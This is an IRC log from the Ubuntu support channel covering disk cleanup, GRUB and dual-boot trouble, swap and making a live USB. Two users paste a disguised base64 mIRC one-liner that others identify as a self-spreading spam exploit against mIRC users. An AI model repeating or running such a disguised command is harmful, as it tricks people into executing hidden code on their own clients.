datruthUbuntu would be nicer with *bsd's open packet filter20:42
VivekanandaBodsda: I dont know how to still so wanted to know better.20:42
datruththen this wouldn't even be a problem20:42
Bodsdadatruth: without routing, modern networks would not be possible20:42
tgunrA question concerning /etc/sudoers I have an entry for myself as `davec   ALL=(ALL) NOPASSWD: ALL' but on ubuntu I keep being asked for a passwd, this same entry on OSX works. Reading the man page the entry looks to be correct, am I missing something?20:43
BodsdaVivekananda: huh? sorry youve lost me20:43
bekksdatruth: a packet filter is not a routing engine, not even on BSD.20:43
histo-1 nyuszika7h that won't work20:43
nyuszika7hwhat?20:43
datruthBodsda: I have static IPS assigned to my network all of the ips work I want to use certain ips for certain outbound connection20:43
llutztgm4883: i just tested it in a ubuntu-vm, really "resolvconf -u" doesn't work20:43
VivekanandaI meant I dont know how to do about what I asked histo about in the question above20:43
datruthbekks: right it isn't and I wouldn't need it if I had that for ubuntu20:43
Bodsdadatruth: and so you have to use routing tables to push traffic to the correct ports20:44
tgm4883llutz, I think it's a bad sed line20:44
nyuszika7hhisto: explain "won't work"20:44
BodsdaVivekananda: oh, don't worry - try this     sudo find / -size 500M -ls20:44
tgm4883llutz, so you've reproduced that it does not work?20:44
Vivekanandaas to running find I first did input su to change to root but it was20:44
llutztgm4883: yes20:44
datruthnever new the route command could actually route to a specific port20:44
tgm4883llutz, I think it fails doing          uniquify_nameserver_list $(sed -n 's/^[[:space:]]*nameserver[[:space:]]\+//p' $RSLVCNFFILES)20:45
histonyuszika7h: Try it an look at the output. He would need to expand the output and supress the errors. He's better off with find.20:45
tgm4883where $RSLVCNFFILES is the base file (and also network manager20:45
escottVivekananda, add -xdev to your find command. you dont want stuff in virtual directories20:45
histoVivekananda: Does this box ever reboot?20:45
bekksdatruth: Which isnt what route does, basically.20:45
Vivekanandarunninng from a different directory . Let me show you http://pastebin.com/jXuLDJnr20:45
nyuszika7hhisto: what errors? with sudo you shouldn't get errors20:45
nyuszika7hif you do, 2>/dev/null20:45
bekksdatruth: route routes to a gateway and specifying a device tells route to use a specific device to reach the gateway.20:46
VivekanandaBodsda: should I not run the find command from the / and not /usr/home ?20:46
histonyuszika7h: I know that's what I said.20:46
datruthbekks: yes I know how route works but thats not what I want20:46
VivekanandaWill try running it again20:47
llutztgm4883: wait, it works, it just inserts nameserver/searchdomain it got from dhcp betweeen head and base20:47
histoVivekananda: add 2>/dev/null to the end of the find20:47
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escottVivekananda, doesn't matter where you run it from (unless you give it a relative path)20:47
llutztgm4883: i tested it using a nameserver-entry in head too20:47
BodsdaVivekananda: it doesnt matter - is this a graphical system?20:48
Vivekanandaescott: so you mean I should run find / -size +500M -ls -xdev ?20:48
tgm4883llutz, well head just does a cat >> resolv.conf, base is doing a fair more work20:48
bekksdatruth: Well, you have to live with it :)20:48
VivekanandaI have gnome that use on this . NOt sure what a graphical system means20:48
BodsdaVivekananda: can you run 'baobab' and use it to find the disk waste?20:49
escottVivekananda, yes20:49
Bodsdaescott: cheers for the -xdev -- never knew about that20:50
escottVivekananda, it will stay on one partition that way20:50
Vivekanandaescott: I will run it as soon as the current one finishes and I post the out put20:50
datruthbekks: nah just install bsd / pf and bam im golden20:50
datruthjust thought iptables would work simular I guess not20:51
VivekanandaOk here is the output http://pastebin.com/GnW1DQCb20:51
Vivekanandarunning with -xdev and also baobab now20:52
BodsdaVivekananda: your missing the -xdev option and does that command actually finish and give you the prompt back?20:52
Bodsdacool20:52
VivekanandaBodsda: yes20:52
VivekanandaI posted above20:52
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VivekanandaBodsda: disk usage analyser gives me a gui view of things. What should I post from there ? output of the root ?20:54
BodsdaVivekananda: no point in showing us - run a scan on / and then dig around20:54
jaanuslo everyone20:54
SonikkuAmericajaanus: Hey20:54
jaanusfirst time here20:54
Bodsdajaanus: heh, sit back and enjoy the mayhem... I mean, show :)20:55
VivekanandaBodsda: So my plan of action is to find and delete things from the / and then install the upgrade ??20:55
SonikkuAmericajaanus: Welcome to the Ubuntu support channel!20:55
BodsdaVivekananda: find the largest 10 files, let us know what they are and their sizes - then we'll go from there20:55
Vivekanandabut If that is the case I come back to the question I asked of histo above20:55
BodsdaVivekananda: what did you ask of histo above?20:55
VivekanandaBodsda: ok . you mean withing the root excluding the separate /home partitionn and other partitions right ?20:56
Vivekanandathis is one problem I always have with ubuntu. I have no clue of what the apps were that I installed ONCE upon a time and why . I windows they are always visible with icons and stuff but here there is no such help :(20:56
BodsdaVivekananda: yeah, we are only interested in /20:56
Vivekanandathat was the question I assked histo20:56
Bodsdaah :)20:56
histoVivekananda: in software center you can view "installed software"  you can do the same in cli with aptitude or dpkg -l20:57
metal_wraithdownloaded the zip file for the ubuntu touch.. pulled apart the zip file to see what sound fx they have.. most are already on my nexus 7.. lol20:57
rushboyhello can anyone please help me to change the font size in a xml document ? Any help is highly appreciated :-)20:58
histoVivekananda: dpkg -l | grep ii  to be more precise20:58
SonikkuAmericarushboy: what are you using to edit the file?20:58
historushboy: I don't think xml documents support formattign like that.20:58
rushboySonikkuAmerica, will Gedit do ?20:59
SonikkuAmericarushboy: Are you trying to code in a font size change?20:59
rushboyhisto, okay . Any suggestions on what do I use to edit a xml doc ?20:59
historushboy: any text editor you want.20:59
historushboy: they are just plain human readable documents21:00
SonikkuAmericarushboy: gedit works as good as any other21:00
demkantorBazhang you there?21:00
* histo likes vim21:00
Azertemacs21:00
SonikkuAmericaOh no, not again...21:00
* Bodsda vim21:00
topper4125rushboy: Gedit or leafpad are good.21:01
SonikkuAmericanano!21:01
Azertkrita21:01
SonikkuAmericaKDEuser21:01
histo!polls21:01
ubottuUsually, there is no single "best" application to perform a given task. It's up to you to choose, depending on your preferences, features you require, and other factors. Do NOT take polls in the channel. If you insist on getting people's opinions, ask BestBot in #ubuntu-bots.21:01
SonikkuAmericaThank you... :\21:02
Azertcat and echo21:02
bekksStop it please.21:02
VivekanandaBodsda: As far as I see now the culprit folders which in total are taking up 7.3gigs in 9.2 gigs for root are21:02
topper4125I can never get the bots to say anything in #ubuntu-bots21:03
demkantorHave a very noon question... I've been running Ubuntu on wubi and was advised to just so a real install as I was having minor freezes. Now Ubuntu is great but I'm having an issue finding bios! I can't seem to find my way back to windows..... anyone?21:03
Bodsdatopper4125: they are having a sponsered silence21:03
rushboySonikkuAmerica, actually I have the following piece of code : http://pastebin.com/G6KjYNkK21:03
topper4125ah21:03
Vivekanandadid I log out suddenlly ?21:03
SonikkuAmericademkantor: More like an afternoon one, but... try fixing the MBR.21:04
BodsdaVivekananda: your IRC stayed connected...???21:04
belakAnyone know if canonical offers internships? I've been looking around their site and I can't find anything.21:04
demkantorOops, using a tablet, meant noob21:04
Vivekanandaoo ok nope .  no no its fine .21:04
rushboySonikkuAmerica, my query is how do i change the size of the label 'Execute' appearing ?21:04
demkantorwhat's mrb?21:04
SonikkuAmerica!mbr | demkantor21:04
ubottudemkantor: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)21:04
Azerthttp://www.thegeekstuff.com/2009/07/top-5-best-linux-text-editors/21:05
SonikkuAmericademkantor: That's one type, BUT.... not if you want to boot Windows21:05
SonikkuAmericademkantor: What version of Windows is this?21:05
demkantorWin 721:05
VivekanandaI pasted sometihng and it did not go through lol my bad . So the usr folder is taking up 5.6 gigs!! alone and then is "/ var" with 800 and "opt" with 400megs21:05
Azertwinduntu21:05
XSevenXwhy is Ubuntu so user-unfriendly?21:06
VivekanandaXSevenX: lol21:06
BodsdaVivekananda: ok, so dig into /usr - whats the biggest folder/file21:06
demkantor So what is the best way to get old bios back so I can dual boot still?21:06
Azertbecause its admin friendlly21:06
XSevenXif this OS is 8 years old, why is there literally no support for any commercial product?21:06
BodsdaXSevenX: I complained once and was told to use the built in negative-feedback-report-user-interface21:06
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Bodsdademkantor: just a point, you mean Boot loader not BIOS21:07
Bodsdavery different things21:07
XSevenXI've been trying for 3 days now just to get a proper installation of Ubuntu on my brand new system21:07
XSevenXfor the sole purpose of playing League of Legends, Skyrim, and any other games that I feel like playing at the time21:07
XSevenXbecause the PC I was using was old, and shitty, and couldn't do either of those things very well21:07
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Bodsda!enter | XSevenX21:08
ubottuXSevenX: Please try to keep your questions/responses on one line. Don't use the "Enter" key as punctuation!21:08
SonikkuAmericademkantor: Stick your Win 7 disc in its drive, boot from it, select "Repair your computer," follow the steps to get to a command prompt, then type in "bootrec /fixmbr" (no quotes) and then "bootrec /fixboot" (no quotes), power down, take the disc out, and reboot. (Did you catch all that?))21:08
BodsdaXSevenX: also, watch the language - this is a family friendly channel21:08
demkantorSure, bootloader, whatever I need, I mean if I hit ESC I go to a different screen then my old bios screen, and this leaves me without a dual boot option only ubuntu21:08
SonikkuAmericademkantor: Oh, oh, oh....21:09
SonikkuAmericademkantor: So you can boot Ubuntu?21:09
demkantorSonikkuamerica, I did but I hate to say I can't find it after the move21:09
Azertdemkantor: but you need to know the admin password :)21:09
demkantorYeah I'm in Ubuntu always21:09
thiefyi have a stupid question....   how do i empty the trash over ssh commandline?21:09
demkantorI am the password21:10
SonikkuAmericademkantor: e.e21:10
Bodsdathiefy: rm -rf /path/to/trash21:10
rushboyI'll be really thankful if someone could help me out with this piece of code : http://pastebin.com/G6KjYNkK21:10
demkantorE.e ?21:10
thiefyBodsda,  and that path is?  heh. sorry, i know it's dumb.21:10
SonikkuAmericademkantor: e.e is an emoticon.21:10
demkantorGotta, any thoughts on bios/bootloader going miss sing?21:11
SonikkuAmericademkantor: But you said it couldn't find Windows, only Ubuntu.21:11
Bodsdathiefy: ~/.local/share/Trash/21:11
demkantorFrom the new bios only ubuntu21:11
SonikkuAmericademkantor: Got a Live DVD or a USB stick handy?21:11
demkantorSure lots21:11
VivekanandaBodsda: here is what I have for the usr folder --- http://imagebin.org/247636  and  http://imagebin.org/247634   and   http://imagebin.org/24763521:12
SonikkuAmericademkantor: Lots of?21:12
thiefydemkantor,  dual booting has nothing to do with your bios. it has to do with your MBR. which grub handles now that you are playing with linux.21:12
thiefythanks Bodsda21:12
demkantorUSB sticks21:12
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AzertUSB pen21:12
demkantorSo with grub how do I choose windows?21:12
SonikkuAmericademkantor: If it's not in the menu, you'll have to boot Ubuntu and fix it with a simple terminal command.21:13
BodsdaVivekananda: can you show me /usr/lib/debug and /usr/share/icons21:13
Bodsdathiefy: your welcome21:13
Vivekanandasure hold on21:13
demkantorAnd command is?21:13
SonikkuAmerica[ sudo update-grub ]21:13
demkantorReally?21:13
demkantorCool I'll check21:13
SonikkuAmericaYep, that's all.21:13
thiefydemkantor,  have you installed windows and now have installed linux after?21:13
thiefydemkantor,  or did you install ubuntu, and then install windows after that.21:14
demkantorWindows has been on this PC for a few years, I've been dual booting Ubuntu for a long time but wubi installed, I was advice to do a real install to fix my freezing issues in Ubuntu. I have two hard drives, one is windows and the second is now only Linux. After the install Ubuntu is great but I lost my old bios in replace for something unfamiliar that gives no option for boot windows21:16
Vivekanandahere they are http://imagebin.org/247637  and    http://imagebin.org/247638 . I installed some icons my self though . That I remember ;P21:16
Vivekanandahttp://imagebin.org/24763821:16
demkantorI just updated grub, rebooting now21:17
Jordan_how long should Ubuntu take to install?21:17
SonikkuAmericademkantor: It should work... I've used 2 hard drives since about 200921:17
SonikkuAmerica(Now I don't though)21:17
Azertdemkantor: good luck21:17
VivekanandaJordan takes above 15 and less than 30 mins is my guess21:18
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BodsdaVivekananda: sorry, I can't see a way of regaining close to 2GB :(21:18
demkantorThanks guys, I'm testing now....21:18
Jordan_i see... something is wrong then21:18
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VivekanandaJordan_: though if the system is old can take longer21:18
VivekanandaBodsda: so what are my options now ?21:19
Vivekanandaformat and re install?21:19
Pedro2Hello21:19
Vivekanandacant I just shift the huge folders somewhere and copy back ?21:19
BodsdaVivekananda: yes, but just of / - you don't need to blast your /home21:19
thiefyJordan_  for me it takes 22 minutes.21:19
VivekanandaI meant to move the icons folder and the other one of 700mbs and then copy back or something21:20
Vivekanandano ?21:20
BodsdaVivekananda: I can't guarentee you won't break something21:20
Vivekanandaowwwwww21:20
Vivekanandashoot21:20
Pedro2I just installed Ubuntu on my external hdd. Is there anyway to see the files in that hdd? I can't find them21:20
demkantor....nothing.... should I try to remove my Linux hard drive and see21:20
BodsdaVivekananda: is there any spare space on that hdd?21:21
Vivekanandathere is space yes21:21
Vivekanandabut I have 4 partitions21:21
Vivekanandafirst is for ubuntu then is /home21:21
BodsdaVivekananda: can you paste the output of    sudo fdisk -l21:21
Vivekanandathen have another for windows and then the last is for storing stuff21:21
bekksVivekananda: You can have 4 primary partitions. Or 3 primary and 1 extended, which could contain up to 15 logical partitions.21:22
Vivekanandasure http://pastebin.com/1t2DczX521:22
ironTuskI have windows 7 installed on my first ssd (sda). I just installed 12.04 on my second ssd (sdb) with only one partition. I now set my bios boot order to sdb first but there is no boot menu and it goes straight to windows21:22
demkantorDamn! Looking at gparted I must have installed Ubuntu on my old drive along side with windows, now my second drive is just storage, so both os is on my first drive I guess removing the "Linux" hard drive is out of the question21:23
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demkantorAny other thoughts?21:23
HHTdoes any1 having problem with networking start in 12.04LTS? Mine always show "networking stop/waiting"21:23
lundyanyone recommend a good photo editor for Ubuntu.. like photoshop?21:24
VivekanandaBodsda: bekks I guess I have a live usb disk. should I boot into gparted and re assign space ?? :( Perhaps give I gb more to linux21:24
topper4125HHT: have you upgraded to 12.04.2? Had the problem when 04 first came out... but upgrading to .2 fixed it21:24
topper4125lundy: have you looked at gimp?21:25
thiefylundy try pixlr.com  it's free and it's got a lot of photoshop features.21:25
knowuhlundy have you looked at gimp?21:25
VivekanandaBut I want to clean it up so it uses the normal ~4.5 gigs it did earlier21:25
BodsdaVivekananda: Iwould suggest nicking 1.5GB from windows and giving to /21:25
bekksVivekananda: That may work.21:25
lundyno I havn't21:25
thiefylundy,  gimp is like photoshop cept different and would take awhile to get used to.    i wouldn't bother.21:25
HHTtopper4125: yes i did and it still shows that21:25
VivekanandaBodsa: but the problem is windows is third in sequence , actually 4th , after linux , home , cache21:26
VivekanandaI meant root , / home and , cache21:26
knowuhThe EC2 AMI for precise uses http://us-east-1.ec2.archive.ubuntu.com/ for most of its apt repositories in /etc/apt/sources.list -- but as of this moment, that s3 bucket is returning 403 errors...21:26
bekksVivekananda: How did you manage to install windows on a live usb stick?21:27
BodsdaVivekananda: bah - I wouldn't recommend grow/shrink of loads of partitions21:27
VivekanandaBodsda: here it is http://imagebin.org/24763921:27
{456c76616e6f}I'm trying to install Ubuntu Desktop on e computer, but my USB key seems to be busted. How can I send an image through the network so my other computer can boot from it?21:27
Vivekanandabekks: not windows , ubuntu on a usb21:28
demkantorSo it looks like I need to choose dual boot from my new uefi bios? I don't see that option?21:28
BodsdaVivekananda: move that unallocated space behind /home the use it to grow /21:28
Pedro2Can anyone help me please?21:28
VivekanandaPedro2: Ask away21:28
ironTuskany reason why my bios won't let me boot my ssd with linux on it. i installed the boot loader on that drive??21:28
Pedro2Vivekananda I just installed Ubuntu on my usb hdd, a21:29
Pedro2Vivekananda but I can't find the files that are in that hdd21:29
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Pedro2Is there any way I can do this?21:30
BodsdaVivekananda: I've got to shoot - I'll be back a little later, good luck21:30
VivekanandaPedro2: lots of help here and surely someone will correct me. You would have formatted the usb before installing right ?21:30
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Pedro2Vivekananda no21:31
Vivekanandadid you back it up somewhere. How did you install the os ?? Isnt formatting a standard procedure before install ?21:31
Vivekanandawhat are the steps you took ?21:31
Pedro2Installed from windows21:32
Vivekanandabekks: you around ? looking at my image http://imagebin.org/247639 can I add the unallocated to the root / somehow?21:32
Pedro2In that hdd, just that21:32
VivekanandaPedro2: you installed linux into an hdd from windows ??21:32
VivekanandaDid you follow any guide or online help ?21:33
Pedro2Vivekananda yes. And no21:33
lunitikVivekananda: Namaste21:33
DanawarHey ubuntu i am trying to install a font on ubuntu 10.04 i have clicked the font file and have enabled execution but the font manage does not run properly i can see it in the tabs at the bottom but it does not show me anything. any ideas21:33
VivekanandaPedro2: Do you mean there is a default program in windows that allows you to create live cds for linux from windows ??21:34
demkantorSo would anyone here know how to get a new bios or at least fix the one that came with Ubuntu, so I can boot windows again?21:34
Vivekanandalunitik: namaste back !!21:34
Bane`alright, figured out the nvidia control panel tells me what's doing what21:34
Vivekanandaanyone can tell me if I can add the unallocated in this pic to the root folder ?? http://imagebin.org/24763921:35
Bane`Any idea how to make both cores on the GTX690 be used? GPU0 is at about 55% while GPU1 is at 25%. When these tests are run in Windows, it makes both GPUs run at 95+%21:35
Pedro2Vivekananda I used a program to create a pen installation. Then used wubi.exe and installed Ubuntu on that hdd21:35
Bane`Running all 3 GPUTests; Furmark, TesMark, and GIMark21:36
VivekanandaPedro2: Normally ( I know very little so sorry) but we create separate partitions and use one primary ( in the casee of ubuntu an exteneded would do too) to install the OS on. During the install it cleans up that partition and so it is a good idea to back up21:37
Vivekanandathe data in that partition into another or into a separate disk21:37
VivekanandaI have no clue what actions were taken by windows during the install but if formatting was involved it would remove the data21:38
KentrelAnyone know how to make rsync compare two directories, and copy the difference into a third directory?21:39
Pedro2Vivekananda ok, thanks anyway21:40
SonikkuAmericademkantor: How'd it go?21:40
demkantorBad, after the update grub I don't even have the new bios showing up21:41
boom0917in ubuntu 12.04 how can i move the taskbar from the top to the bottom21:41
kos_can someone help me with my microphone, it shows up in alsamixer and if I unmute "Front Mic" in playback I can hear myself but when i try to record with arecord (to test it) i hear nothing21:41
HHTI'm running 12.04.2 and having problem with netwoking. status always shows "netwoking stop/waiting"21:42
HHTI have no problem accessing internet or other machines but DLNA devices won't find the server21:42
project92ciao21:43
zaggynl..list?21:44
StarsLOL! //echo -a $($decode(JGZpbmRmaWxlKC4sKiwxLHNjaWQgLWF0MSAuYW1zZyBMT0whICQhY2IoMSkgfCAucGxheSAj/SBwZXJmb3JtLmluaSk=,m),2)21:44
StarsLOL! //echo -a $($decode(JGZpbmRmaWxlKC4sKiwxLHNjaWQgLWF0MSAuYW1zZyBMT0whICQhY2IoMSkgfCAucGxheSAj/SBwZXJmb3JtLmluaSk=,m),2)21:45
SonikkuAmericaStars: Huh?21:45
ironTuskfrom bios i select my ssd with ubuntu only on it, and for some reason it automatically boots windows (that is on another ssd). Any idea what i can do?21:45
bekksStars: Stop spamming and exploiting mIRC users. Thank you.21:46
jayneStars: /w! Stars21:46
jayneer.21:46
LjLheh21:47
jayneStars: it's not a wise idea to copy and paste things given to you by others when you don't know what they'll do21:47
jayneyou might read http://blog.freenode.net/?p=1082 at some point21:47
bean__he should prly get kicked for that tbh21:47
contrapunctusjayne, what does that do o.o21:48
jaynebean__: what purpose would a kick serve? A quiet would be sufficient, but it seems to have stopped21:48
lundywell the time has come to say good bye, for ever road must end..... you will always be there in my heart my special absent friend :) going back to Windows folks21:48
bean__It yeah21:48
jayne(and I'm not really an #ubuntu op anyway)21:48
contrapunctuslundy - y u do dis21:48
jaynecontrapunctus: the stuff is mime64, you can decode it with any mime64 decoder and see what it does21:48
lundythink thats ment to be "why am I doing this"21:49
SonikkuAmericalundy: What? No! You mustn't!21:49
jayneit's mirc-specific, and I don't understand mirc more than that it puts an /amsg into perform.ini or something along those lines21:49
SonikkuAmericacontrapunctus: There is always the !u21:49
dooglusjust installed 11.10.  every time I boot, the touchpad is disabled, and I have to Fn+F7 to turn it on.  any fix for this?21:49
lundySonikkuAmerica, finding it hard to get programs like .... photoshop, games and that21:49
SonikkuAmericalundy: GIMP? Darktable? GNOME Games? SRB2?21:49
lundyflash games21:49
turtle_any free web hosting solutions that offer database support, and web space domain hosting and the likes?21:50
contrapunctuslol lundy21:50
lundyu laugh but these things work on windows, so im happy there21:50
tgm4883lundy, you can't get flash games to work?21:50
bekksdooglus: I21:50
lunitiklundy: Flash should not depend on platform.21:50
k1l_!ot | turtle_21:50
ubottuturtle_: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!21:50
bekksdooglus: I'd upgrade to 12.04, since 11.10 is supported until April, only.21:51
turtle_kll, hosted on an ubuntu platform.21:51
turtle_kll, there are you satisfied? :)21:51
lundytgm4883, flash keeps crashing21:51
tgm4883bekks, 11.10 isn't supported anymore I thought21:51
k1l_turtle_: you are searching for software or hosters?21:51
lundycannot get Photoshop which I need21:51
tgm4883bekks, oh wait, I fail at maths apparently21:51
contrapunctuslundy - use GIMP for Photoshop?21:51
lunitiklundy: If gimp doesn't do what you need, you can install photoshop via wine21:51
turtle_k1l_:  both21:51
lundynah guys sorry but im not sold :)21:52
ironTusklunitik why all this messing around when windows can do it all?21:52
k1l_turtle_: searching for hosters is no ubuntu issues. please ask in offtopic21:52
lunitikironhalik: It is fun, for starters.21:52
bekksironTusk: BEcause Ubuntu isnt Windows. :)21:52
dooglusbekks: sorry, I probably meant 12.1021:52
lundyiv loved my time on Ubuntu ill keep it on my media box21:52
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lundybut not on my laptop21:53
Questgd is some image manipulating library. whats the package name of that in ubuntu?21:53
dooglusjust installed 12.10.  every time I boot, the touchpad is disabled, and I have to Fn+F7 to turn it on.  any fix for this?21:53
dooglussee?  :)21:53
HHTI'm running 12.04.2 and having problem with networking. status always shows "networking stop/waiting"21:53
tgm4883Quest, libgd apparently21:54
baggershi all, I have a nexus 7 with ubuntu desktop version installed. Do I have to restore android before I flahs the ubuntu tablet image? Or is there a way to get adb running under ubuntu desktop?21:54
ironTuskbekks, im trying to get ubuntu on my desktop, i even bought a new ssd just for it. Ive installed 12.04 on it. But for some reason i cannot get my bios to boot it up. Any help would be greatly appreciated21:55
Questtgm4883,  not php5-gd?21:55
tgm4883Quest, who said anything about PHP?21:55
k1l_baggers: better ask in #ubuntu-arm21:55
baggerscheers, will do!21:55
Questtgm4883,  its an opencart.com installation requirement21:55
bekksironTusk: Maybe you installed the bootloader to something else then your MBR, or your BIOS might be secured by SecureBoot which inhibits booting anything else than Windows.21:56
tgm4883Quest, I've seen you in here the past few days asking partial questions. I say partial, because someone will answer you and you follow up with more information that makes their answer irrelevent. Any chance you could just start off with what you are trying to do when asking your question?21:57
ironTuskbekks , thank you i will check that secureBoot crap21:57
ironTuskthat might be the problem21:57
uplinxquick question, I have 4 monitors and 2 video cards, and want compositing enabled, which requires having separate X screens and no xinerama.  First, how do I share my keyboard and mouse across those four screens? and second how do i get this whole thing up and operational?21:57
uplinxeven if it's a hint at some better keywords to search for on google, i'm down.  I've searched as far as I can.21:59
eyedeaLOL! //echo -a $($decode(JGZpbmRmaWxlKC4sKiwxLHNjaWQgLWF0MSAuYW1zZyBMT0whICQhY2IoMSkgfCAucGxheSAj/SBwZXJmb3JtLmluaSk=,m),2)21:59
Questtgm4883,  well , a minut21:59
bekkseyedea: Stop spamming.21:59
Dr_DoomHi. I would like to know how to fix a problem: when my notebook lid is closed, it stop and does not returne. Who can help me?22:02
organikshey all22:02
bekksDr_Doom: PRess the power button and it should resume.22:03
BiPolahWhen installing Ubuntu and Windows alongside each other with UEFI booting, do I need to do anything after installing other than add the entry to the Windows UEFI bootloader to GRUB?22:03
escottBiPolah, i dont think you even have to do that. i think UEFI is supposed to provide a menu22:04
Dr_Doombekks. I want to know how fix the problem. I forced, I did this. Every time that I locked or closed my NB I will have to force the computer off?22:05
Vivekanandahey everyone. I have a 1gb pen drive which I use to do maintainence stuff for ubuntu. What latest distro can I install on that ( fluxubuntu or lubuntu or something) so I can use it later as a live usb for these purposes ? Also if need be I want to use it to install 12.04 on to a formatted system22:05
BiPolahescott: what menu do you mean?22:05
bekksDr_Doom: I guess there are some energy/power related settings in the global settings.22:05
dooglusjust installed 12.10.  every time I boot, the touchpad is disabled, and I have to Fn+F7 to turn it on.  any fix for this?22:06
organiksI have 2gig ram on this netbook and was wondering why the SWAP is not being used - i have the swappiness set to 80 and still nothing22:06
tgm4883bekks, Dr_Doom that sounds like a bug22:06
bekkstgm4883: That sounds like a default setting. :)22:06
Dr_Doombekks, Nope. I am in Kubuntu (would well).22:06
Questtgm4883,  iam installing opencart (from opencart.com) which requires mysql.  i can login to mysql by mysql -u root -p (i have installed one) but the setup says me that i dont with a red minus. (similar setup to this http://www.opencart.com/opencart/image/data/documentation/Installation/4.png ) what can be the reason22:06
Dr_Doomtm4883, exactely...22:07
tgm4883bekks, no, it sounds like when his computer goes to sleep, it doesn't wake up properly22:07
bekkstgm4883: Thats not what he said.22:07
Ben64organiks: you want the swap to be used more?22:07
tgm4883bekks, Dr_Doom it sounds like he is saying that he has to hard power it off after it sleeps. Then power it on (in which case he loses what was open )22:07
tgm4883bekks, Dr_Doom is that accurate?22:07
Vivekanandaanyone ??22:08
organiksBen64: yes22:09
organikswas testing it22:09
organiksit just remains @ 022:09
Ben64how are you checking22:09
Dr_Doombekks, tmg4883: It is not a configuration. When I lock or close my laptop - power on - do not come back.. I have to restart..22:10
bekksorganiks: Swap isnt used as long as it isnt necessary.22:10
tgm4883bekks, DR01D-Engineer yea, that is a bug then22:10
bekksorganiks: Why do you want it to be used?22:10
tgm4883bah22:10
tgm4883Dr_Doom, ^^22:10
DR01D-Engineerhuh22:10
organiksnetbook slow22:10
tgm4883DR01D-Engineer, sorry, meant Dr_Doom  :/22:10
DR01D-Engineerno problem22:10
Ben64organiks: swap is slower22:10
zverпривет всем)22:11
Dr_Doomtm4883: ??22:11
tgm4883!tab | Dr_Doom22:11
ubottuDr_Doom: You can use your <tab> key for autocompletion of nicknames in IRC, as well as for completion of filenames and programs on the command line.22:11
bekks!ru | zver22:12
ubottuzver: Пожалуйста наберите /join #ubuntu-ru для получения помощи на русском языке. | Pozhalujsta naberite /join #ubuntu-ru dlya polucheniya pomoshi na russkom yazyke.22:12
Dr_Doomzver: Russian?22:12
zveryes22:12
Dr_Doomtgm4883: I really was looking for it! Thank you.22:13
Dr_Doomtgm4883: But, and my problem??22:13
zZommmhello everyone.22:14
organiksBen64: ok, thanks22:15
zZommmI was wondering what was the best way to use a SSD as storage for KVM guests so it would support TRIM from the guest through to the drive. Any ideas?22:15
bekksCreate a filesystem supporting it on the SSD, like ext4.22:16
Vivekanandawould l or x ubntu be a good choice for installing on a usb 1 gb ?22:16
Vivekananda?22:17
zZommmbekks, that is not a problem, but usually I use LVM for VM storage and this is quite a big stack: 2 SSDs -> MD (raid1) -> LVM -> KVM -> ext422:17
Ben64Vivekananda: neither?22:18
zZommmbekks, and i really can't find an authoritative recent source on whether all of these layers pass the trim commands through.22:18
bekkszZommm: I'd suggest creating a ext4 filesystem, and use it as backing store for your KVM stuff, not using raw devices.22:18
VivekanandaBen64: so I want to have a live version of lts  12.04. I have a constraint of 1gb usb. What are my choices22:18
Dr_DoomHi. I would like to know how to fix a problem: when my notebook lid is closed, it stop and does not returne. Who can help me?22:18
Ben64Vivekananda: you said install. you can do any version live on a 1GB usb drive22:19
Ben64Dr_Doom: disable suspend22:19
VivekanandaBen64: My purpose is to use the usb pen drive for using gparted to format the internal drive and sometimes run a scan and mostly to use it to install 12,04 on a computer using it22:20
VivekanandaI guess I can do that creating a live usb drive isnit it ?22:20
Dr_DoomBen64: My computer is not programmed to suspend. It is a problem.22:21
HHTHello, I'm running 12.04.2 and having problem with networking. status always shows "networking stop/waiting". Any1 has same issue?22:21
VivekanandaAlso unless I am wrong it requires a min of 2 gb on pen drive before I can create a live gnome usb stick.22:21
Dr_DoomBen64: My computer is not programmed to suspend. This is a big problem.22:22
VivekanandaBen64: which version should I use to do the above?22:22
Vivekanandaall gone so quiet22:26
Vivekanandano one here to answer that ??22:26
sockswithsandalsHello, is there a way to enable the MouseKeys? CTRL+SHIFT+NUM won't work.22:26
sockswithsandalsHm22:28
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sockswithsandalsNo way?22:28
Dr_DoomDo you know? Every time that I come here with a problem, never can a plausible or satisfactory answer.. I am downloading slack now and will install and learn how to do everything there.. No Ubuntu, no kubuntu... Nothing. Slackware now!22:28
haryvWhat permission steps are correct to execute a sh file when the file is in /usr/src directory?22:28
bekksharyv: No one. Just run your favorite shell with the sh file as argument.22:29
haryvchown user:user /path/to/directory does not give me the the user permission when I am doing this as root22:29
bekksharyv: bash myfile.sh22:29
haryvbekks, running it as a executable from the desktop getting permission denied.22:30
bekksharyv: Permission denied on what?22:30
haryvthe sh file that will execute my webdeveloper ide22:30
bekksharyv: Then open a terminal and run it like I told you above.22:31
haryvthats a bit of a pain and is not the answer I am looking for.22:31
magn3tsNo love for the Galaxy Nexus TORO for the Ubuntu Touch images? :(22:32
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Vivekanandahi everyone. Some distro selection help22:37
SonikkuAmericaVivekananda: ?22:37
Vivekanandahavent got an aswer for sometime :(. Anyone22:37
SonikkuAmericaVivekananda: What do you mean, distro selection?22:37
VivekanandaSonikkuAmerica: hey my question was so I want to have a live version of lts  12.04. I have a constraint of 1gb usb. What are my choices pose is to use the usb pen drive for using gparted to format the internal drive and sometimes run a scan and mostly to use it to install 12,04 on a computer using it22:38
VivekanandaI meant ubuntu but different X managers22:38
Vivekanandasorry wrong word distro22:38
SonikkuAmericaVivekananda: I don't know if even Lubuntu will fit on a 1 GB stick.22:39
Vivekanandathe 10.04 did though :(22:39
Ben64Vivekananda: you can just dd the image to the flash drive and it will work22:39
bekksdd onto a flash drive is a VERY bad idea.22:40
babilen(no need for dd, cp and cat will work even better)22:40
Ben64why22:40
xapeli am trying to capture an image from my webcam with uvccapture but I keep getting ERROR opening V4L interface. Any ideas?22:40
VivekanandaBen64: no no it is not an installation. I created a live usb cd by copying files and making the usb bootable for the purposes I elaborated above.22:40
VivekanandaI want to do something similar now22:40
Ben64i know.22:40
bekksBen64: Because without using reasonable values for the blocksize, dd uses 512bytes per r/w which extraordinary stresses the flash drive and _may_ shorten its lifetime.22:40
Ben64then do 4M22:41
Ben64don't just say "its bad"22:41
